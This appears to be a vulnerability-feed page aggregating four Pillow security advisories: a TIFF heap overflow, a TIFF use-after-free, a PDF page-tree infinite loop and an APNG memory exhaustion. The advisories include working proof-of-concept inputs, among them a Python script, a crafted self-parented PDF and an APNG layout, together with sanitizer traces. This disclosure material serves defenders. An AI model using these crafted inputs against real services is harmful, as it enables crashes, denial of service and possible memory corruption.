GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112393: https://nvd.nist.gov/vuln/detail/CVE-2026-112393
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112393&date=2026-10-25
```
============================================================================
Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
Location: src/libImaging/TiffDecode.c:94 in _tiffWriteProc()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.

The bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of from the write position `state->loc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file.

No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag.

The attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), "TIFF")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0.

## Details

When `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly:

1. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of `state->loc + size`, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved.
2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before.

Both are reachable with default settings by the ordinary "re-encode the upload" sequence `Image.open(upload); im.save(io.BytesIO(), "TIFF")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but `im.info["compression"]` (still selecting libtiff) and `im.info["icc_profile"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), "TIFF")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all.

**Proof (overflow).** A 131 198-byte hand-built TIFF — mode L, 7×8191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters — opened with `Image.open()` and saved with `im.save(io.BytesIO(), "TIFF")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports

```
AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536
 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115
 #4 TIFFFlush
 #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056
0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103
```

**Proof (uninitialised bytes).** Saving one 300×300 RGB image as `compression="tiff_lzw"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_

Affected package ranges reported by GitHub:
Pillow: >= 2.0.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
https://kevwire.com/record/CVE-2026-112396
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer (Oct 21, 2026).
- `src/libImaging/TiffDecode.c:1041-1046`

Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:
CVSS 5.9 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-4rr5-89j8-mwwm).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112396&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4rr5-89j8-mwwm: https://github.com/advisories/GHSA-4rr5-89j8-mwwm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112396&date=2026-10-25
### Summary
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

### Details
The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):

- `src/libImaging/TiffDecode.c:1041-1046`

Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:

- `src/encode.c:99-101`
- `src/libImaging/TiffDecode.c:955`

`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:

- `src/libImaging/TiffDecode.c:103-115`

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

### PoC
```python
import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor
```

Run it:
```
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with `-fsanitize=address`), relevant frames:
```
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115
 #3 TIFFFlush libtiff.so.6
 #5 TIFFClose libtiff.so.6
 #6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955
 #7 _dealloc src/encode.c:100
freed by thread T0 here:
 #1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045
 #2 _encode src/encode.c:139
previously allocated by thread T0 here:
 #1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863
 #2 PyImaging_LibTiffEncoderNew src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
```
The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.

### Impact
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Affected package ranges reported by GitHub:
pillow: >= 11.3.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
https://kevwire.com/record/CVE-2026-112406
Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (Oct 21, 2026).
```
============================================================================
Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, "PDF", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-f2g6-542v-9j58).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112406&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-f2g6-542v-9j58: https://github.com/advisories/GHSA-f2g6-542v-9j58
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112406: https://nvd.nist.gov/vuln/detail/CVE-2026-112406
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112406&date=2026-10-25
```
============================================================================
Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, "PDF", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.

The bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.

This is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.

The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.

## Details

`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.

The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:

```
%PDF-1.4
1 0 obj
 >
endobj
2 0 obj
 >
endobj
3 0 obj
 >
endobj
xref
0 4
0000000000 65535 f 
0000000009 00000 n 
0000000056 00000 n 
0000000125 00000 n 
trailer
 >
startxref
192
%%EOF
```

`Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:

```
 File "src/PIL/PdfImagePlugin.py", line 263, in _save
 existing_pdf.write_catalog()
 File "src/PIL/PdfParser.py", line 473, in write_catalog
 self.rewrite_pages()
 File "src/PIL/PdfParser.py", line 505, in rewrite_pages
 while pages_tree_node_ref:
```

The same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.

The loop:

```python
# src/PIL/PdfParser.py:483-510
def rewrite_pages(self) -> None:
 pages_tree_nodes_to_delete = []
 for i, page_ref in enumerate(self.orig_pages):
 page_info = self.cached_objects[page_ref]
 del self.xref_table[page_ref.object_id]
 pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")])
 …
 # delete redundant Pages tree nodes from xref table
 for pages_tree_node_ref in pages_tree_nodes_to_delete:
 while pages_tree_node_ref:
 pages_tree_node = self.cached_objects[pages_tree_node_ref]
 if pages_tree_node_ref.object_id in self.xref_table:
 del self.xref_table[pages_tree_node_ref.object_id]
 pages_tree_node_ref = pages_tree_node.get(b"Parent", None)
 self.orig_pages = []
```

How the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode="r+b")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.

For the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.

The parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError("trailer loop found")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `

Affected package ranges reported by GitHub:
Pillow: >= 5.1.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: APNG background disposal allocates full canvas before decompression bomb check
https://kevwire.com/record/CVE-2026-112399
Pillow: APNG background disposal allocates full canvas before decompression bomb check (Oct 21, 2026).
```
============================================================================
APNG background disposal allocates full canvas before decompression bomb check
Location: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-5xm2-6676-qcp9).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112399&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5xm2-6676-qcp9: https://github.com/advisories/GHSA-5xm2-6676-qcp9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112399: https://nvd.nist.gov/vuln/detail/CVE-2026-112399
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112399&date=2026-10-25
```
============================================================================
APNG background disposal allocates full canvas before decompression bomb check
Location: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.

The bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width×height×4 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.

Below available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.

## Details

For an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.

The following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB.

```
IHDR width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)
acTL num_frames=2 num_plays=0
fcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0
IDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline
IEND
```

With `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed.

### Code path

`Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned:

```python
# src/PIL/Image.py:3699-3701
 im = factory(fp, filename)
 _decompression_bomb_check(im.size)
 return im
```

For a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0:

```python
# src/PIL/PngImagePlugin.py:845-853
 if self.png.im_n_frames is not None:
 …
 self._seek(0)
```

`_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size:

```python
# src/PIL/PngImagePlugin.py:991-1001
 if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
 self.dispose_op = Disposal.OP_BACKGROUND

 self.dispose = None
 if self.dispose_op == Disposal.OP_PREVIOUS:
 …
 elif self.dispose_op == Disposal.OP_BACKGROUND:
 self.dispose = Image.core.fill(self.mode, self.size)
 self.dispose = self._crop(self.dispose, self.dispose_extent)
```

`Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas.

The only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is 

Affected package ranges reported by GitHub:
Pillow: >= 8.1.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

